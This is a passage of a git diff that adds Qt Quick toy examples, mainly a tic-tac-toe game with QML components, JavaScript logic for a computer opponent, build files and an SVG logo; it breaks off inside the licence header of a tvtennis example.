+ // make sure created item is above the ground layer
+ } else if (itemComponent.status == Component.Error) {
+ draggedItem = null;
+ console.log("error creating component");
+ console.log(itemComponent.errorString());
+ }
+}
+
+function continueDrag(mouse)
+{
+ if (draggedItem == null)
+ return;
+
+ draggedItem.x = mouse.x + posnInWindow.x - startingMouse.x;
+ draggedItem.y = mouse.y + posnInWindow.y - startingMouse.y;
+}
+
+function endDrag(mouse)
+{
+ if (draggedItem == null)
+ return;
+
+ if (draggedItem.x + draggedItem.width > toolbox.x) { //Don't drop it in the toolbox
+ draggedItem.destroy();
+ draggedItem = null;
+ } else {
+ draggedItem.created = true;
+ draggedItem = null;
+ }
+}
+
diff --git a/examples/declarative/toys/tic-tac-toe/main.cpp b/examples/declarative/toys/tic-tac-toe/main.cpp
new file mode 100644
index 00000000..fef1486b
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/tic-tac-toe/tic-tac-toe.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/Button.qml b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/Button.qml
new file mode 100644
index 00000000..a197f03b
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/Button.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property string text
+ property bool pressed: false
+
+ signal clicked
+
+ width: buttonLabel.width + 20; height: buttonLabel.height + 6
+ border { width: 1; color: Qt.darker(container.color) }
+ radius: 8
+ color: "lightgray"
+ smooth: true
+
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ color: container.pressed ? "darkgray" : "white"
+ }
+ GradientStop {
+ position: 1.0
+ color: container.color
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: container.clicked()
+ }
+
+ Text {
+ id: buttonLabel
+ anchors.centerIn: container
+ text: container.text
+ font.pixelSize: 14
+ }
+}
diff --git a/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/TicTac.qml b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/TicTac.qml
new file mode 100644
index 00000000..919741df
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/TicTac.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ signal clicked
+
+ states: [
+ State { name: "X"; PropertyChanges { target: image; source: "pics/x.png" } },
+ State { name: "O"; PropertyChanges { target: image; source: "pics/o.png" } }
+ ]
+
+ Image {
+ id: image
+ anchors.centerIn: parent
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.clicked()
+ }
+}
diff --git a/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/board.png b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/board.png
new file mode 100644
index 00000000..7e5b7ba2
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/board.png
Binary files differ
diff --git a/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/o.png b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/o.png
new file mode 100644
index 00000000..abc7ee02
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/o.png
Binary files differ
diff --git a/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/x.png b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/x.png
new file mode 100644
index 00000000..ddc65c83
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/x.png
Binary files differ
diff --git a/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/tic-tac-toe.js b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/tic-tac-toe.js
new file mode 100644
index 00000000..5a166b75
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/tic-tac-toe.js
@@ -0,0 +1,149 @@
+function winner(board)
+{
+ for (var i=0; i<3; ++i) {
+ if (board.children[i].state != ""
+ && board.children[i].state == board.children[i+3].state
+ && board.children[i].state == board.children[i+6].state)
+ return true
+
+ if (board.children[i*3].state != ""
+ && board.children[i*3].state == board.children[i*3+1].state
+ && board.children[i*3].state == board.children[i*3+2].state)
+ return true
+ }
+
+ if (board.children[0].state != ""
+ && board.children[0].state == board.children[4].state != ""
+ && board.children[0].state == board.children[8].state != "")
+ return true
+
+ if (board.children[2].state != ""
+ && board.children[2].state == board.children[4].state != ""
+ && board.children[2].state == board.children[6].state != "")
+ return true
+
+ return false
+}
+
+function restartGame()
+{
+ game.running = true
+
+ for (var i=0; i<9; ++i)
+ board.children[i].state = ""
+}
+
+function makeMove(pos, player)
+{
+ board.children[pos].state = player
+ if (winner(board)) {
+ gameFinished(player + " wins")
+ return true
+ } else {
+ return false
+ }
+}
+
+function canPlayAtPos(pos)
+{
+ return board.children[pos].state == ""
+}
+
+function computerTurn()
+{
+ var r = Math.random();
+ if (r < game.difficulty)
+ smartAI();
+ else
+ randomAI();
+}
+
+function smartAI()
+{
+ function boardCopy(a) {
+ var ret = new Object;
+ ret.children = new Array(9);
+ for (var i = 0; i<9; i++) {
+ ret.children[i] = new Object;
+ ret.children[i].state = a.children[i].state;
+ }
+ return ret;
+ }
+
+ for (var i=0; i<9; i++) {
+ var simpleBoard = boardCopy(board);
+ if (canPlayAtPos(i)) {
+ simpleBoard.children[i].state = "O";
+ if (winner(simpleBoard)) {
+ makeMove(i, "O")
+ return
+ }
+ }
+ }
+ for (var i=0; i<9; i++) {
+ var simpleBoard = boardCopy(board);
+ if (canPlayAtPos(i)) {
+ simpleBoard.children[i].state = "X";
+ if (winner(simpleBoard)) {
+ makeMove(i, "O")
+ return
+ }
+ }
+ }
+
+ function thwart(a,b,c) { //If they are at a, try b or c
+ if (board.children[a].state == "X") {
+ if (canPlayAtPos(b)) {
+ makeMove(b, "O")
+ return true
+ } else if (canPlayAtPos(c)) {
+ makeMove(c, "O")
+ return true
+ }
+ }
+ return false;
+ }
+
+ if (thwart(4,0,2)) return;
+ if (thwart(0,4,3)) return;
+ if (thwart(2,4,1)) return;
+ if (thwart(6,4,7)) return;
+ if (thwart(8,4,5)) return;
+ if (thwart(1,4,2)) return;
+ if (thwart(3,4,0)) return;
+ if (thwart(5,4,8)) return;
+ if (thwart(7,4,6)) return;
+
+ for (var i =0; i<9; i++) {
+ if (canPlayAtPos(i)) {
+ makeMove(i, "O")
+ return
+ }
+ }
+ restartGame();
+}
+
+function randomAI()
+{
+ var unfilledPosns = new Array();
+
+ for (var i=0; i<9; ++i) {
+ if (canPlayAtPos(i))
+ unfilledPosns.push(i);
+ }
+
+ if (unfilledPosns.length == 0) {
+ restartGame();
+ } else {
+ var choice = unfilledPosns[Math.floor(Math.random() * unfilledPosns.length)];
+ makeMove(choice, "O");
+ }
+}
+
+function gameFinished(message)
+{
+ messageDisplay.text = message
+ messageDisplay.visible = true
+ game.running = false
+}
+
diff --git a/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/tic-tac-toe.qml b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/tic-tac-toe.qml
new file mode 100644
index 00000000..eedbb992
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/tic-tac-toe.qml
@@ -0,0 +1,123 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+import "content/tic-tac-toe.js" as Logic
+
+Rectangle {
+ id: game
+
+ property bool running: true
+ property real difficulty: 1.0 //chance it will actually think
+
+ width: display.width; height: display.height + 10
+
+ Image {
+ id: boardImage
+ source: "content/pics/board.png"
+ }
+
+
+ Column {
+ id: display
+
+ Grid {
+ id: board
+ width: boardImage.width; height: boardImage.height
+ columns: 3
+
+ Repeater {
+ model: 9
+
+ TicTac {
+ width: board.width/3
+ height: board.height/3
+
+ onClicked: {
+ if (game.running && Logic.canPlayAtPos(index)) {
+ if (!Logic.makeMove(index, "X"))
+ Logic.computerTurn();
+ }
+ }
+ }
+ }
+ }
+
+ Row {
+ spacing: 4
+ anchors.horizontalCenter: parent.horizontalCenter
+
+ Button {
+ text: "Hard"
+ pressed: game.difficulty == 1.0
+ onClicked: { game.difficulty = 1.0 }
+ }
+ Button {
+ text: "Moderate"
+ pressed: game.difficulty == 0.8
+ onClicked: { game.difficulty = 0.8 }
+ }
+ Button {
+ text: "Easy"
+ pressed: game.difficulty == 0.2
+ onClicked: { game.difficulty = 0.2 }
+ }
+ }
+ }
+
+
+ Text {
+ id: messageDisplay
+ anchors.centerIn: parent
+ color: "blue"
+ style: Text.Outline; styleColor: "white"
+ font.pixelSize: 50; font.bold: true
+ visible: false
+
+ Timer {
+ running: messageDisplay.visible
+ onTriggered: {
+ messageDisplay.visible = false;
+ Logic.restartGame();
+ }
+ }
+ }
+}
diff --git a/examples/declarative/toys/tic-tac-toe/tic-tac-toe.qmlproject b/examples/declarative/toys/tic-tac-toe/tic-tac-toe.qmlproject
new file mode 100644
index 00000000..d32320ad
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/tic-tac-toe.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/tic-tac-toe"
+ }
+ JavaScriptFiles {
+ directory: "qml/tic-tac-toe"
+ }
+ ImageFiles {
+ directory: "qml/tic-tac-toe"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/toys/tic-tac-toe/tictactoe.png b/examples/declarative/toys/tic-tac-toe/tictactoe.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/tictactoe.png
Binary files differ
diff --git a/examples/declarative/toys/tic-tac-toe/tictactoe.pro b/examples/declarative/toys/tic-tac-toe/tictactoe.pro
new file mode 100644
index 00000000..4fdb47c9
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/tictactoe.pro
@@ -0,0 +1,42 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/tic-tac-toe
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEFDDF868
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+TARGET = tic-tac-toe
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/toys/tic-tac-toe
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/toys/tic-tac-toe/tictactoe.svg b/examples/declarative/toys/tic-tac-toe/tictactoe.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/toys/tic-tac-toe/tictactoe.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/toys/toys.pro b/examples/declarative/toys/toys.pro
new file mode 100644
index 00000000..b24559a5
--- /dev/null
+++ b/examples/declarative/toys/toys.pro
@@ -0,0 +1,8 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ clocks \
+ corkboards \
+ dynamicscene \
+ tic-tac-toe/tictactoe.pro \
+ tvtennis
diff --git a/examples/declarative/toys/tvtennis/main.cpp b/examples/declarative/toys/tvtennis/main.cpp
new file mode 100644
index 00000000..330cd175
--- /dev/null
+++ b/examples/declarative/toys/tvtennis/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
